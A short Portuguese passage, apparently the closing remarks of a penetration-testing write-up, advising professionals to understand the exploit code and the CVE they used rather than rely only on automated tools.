Cabe destacar, também, que foram utilizadas ferramentas com o intuito de automatizar e facilitar a análise do alvo e posterior exploração. Entretanto, um profissional deve ter conhecimento do que está sendo feito, afinal, ferramentas se aprendem ou se desenvolvem, mas o conhecimento que se tem sobre a área é o que diferencia o profissional no mercado. Assim, recomenda-se aprofundar os estudos, estudar o código do exploit usado, ler sobre a CVE explorada, etc. Antes de qualquer ferramenta, vem o conhecimento.